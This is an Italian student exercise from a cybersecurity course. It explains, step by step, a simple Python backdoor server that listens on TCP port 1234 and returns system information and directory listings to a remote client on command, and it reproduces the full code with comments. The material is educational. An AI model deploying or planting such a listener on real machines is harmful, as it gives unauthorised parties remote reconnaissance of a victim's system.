CYBER SECURITY

BACKDOOR

S3_L4

ZHONGSHI LIU

27/4/2024

TRACCIA:

L'esercizio di oggi consiste nel commentare/spiegare
questo codice che fa riferimento ad una backdoor.
Inoltre spiegare cos’è una backdoor.

COSA FA IL PROGRAMMA:

Il codice è un semplice server Python che ascolta le connessioni in arrivo da client e esegue azioni in base ai comandi inviati dai client.

1. Inizializzazione del server: Il server viene avviato su un indirizzo IP specifico e su una porta definita. Viene quindi messo in ascolto per le connessioni in entrata.
2. Accettazione delle connessioni dei client: Quando un client si connette al server, il server accetta la connessione e ottiene l'indirizzo del client.
3. Gestione dei comandi dei client: Il server entra in un loop infinito in cui continua ad ascoltare i comandi inviati dai client.
4. Comando '1': Se il comando inviato dal client è '1', il server invia al client informazioni sul sistema operativo e sulla macchina su cui è in esecuzione.
5. Comando '2': Se il comando inviato dal client è '2', il server riceve ulteriori dati dal client (presumibilmente il percorso di una directory). Quindi, elenca i file nella directory specificata e invia l'elenco dei file al client.
6. Comando '0': Se il comando inviato dal client è '0', il server chiude la connessione attiva con il client corrente e si mette in attesa di una nuova connessione in arrivo.

Il codice gestisce anche eventuali errori durante la ricezione dei dati o durante l'elaborazione dei comandi inviati dai client.

CODICE CON COMMENTI:

```python
import socket, platform, os  # Importa i moduli necessari

indirizzo_ip = ""  # Indirizzo IP del server
porta = 1234  # Porta su cui il server ascolta le connessioni

# Crea un socket TCP/IP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Associa il socket all'indirizzo IP e alla porta specificati
s.bind((indirizzo_ip, porta))

# Metti il socket in modalità di ascolto e specifica il numero massimo di connessioni in coda
s.listen(1)

# Accetta una nuova connessione in arrivo
connection, address = s.accept()

print("client connected:", address)  # Stampa l'indirizzo del client che si è connesso

while True:
    try:
        # Ricevi dati dal client
        data = connection.recv(1024)
    except:
        continue  # Se c'è un errore, passa al prossimo ciclo

    # Se i dati ricevuti dal client sono '1'
    if data.decode('utf-8') == '1':
        # Ottieni informazioni sul sistema e sulla macchina
        tosend = platform.platform() + " " + platform.machine()
        # Invia le informazioni al client
        connection.sendall(tosend.encode())

    # Se i dati ricevuti dal client sono '2'
    elif data.decode('utf-8') == '2':
        # Ricevi ulteriori dati dal client (il percorso della directory da elencare)
        data = connection.recv(1024)
        try:
            # Ottieni l'elenco dei file nella directory specificata
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""  # Stringa per contenere l'elenco dei file
            for x in filelist:
                tosend += "," + x  # Aggiungi ogni nome file all'elenco
        except:
            tosend = "Wrong path"  # Se si verifica un errore, invia un messaggio di errore
        # Invia l'elenco dei file al client
        connection.sendall(tosend.encode())

    # Se i dati ricevuti dal client sono '0'
    elif data.decode('utf-8') == '0':
        # Chiudi la connessione attiva con il client corrente
        connection.close()
        # Accetta una nuova connessione in arrivo da un altro client
        connection, address = s.accept()
```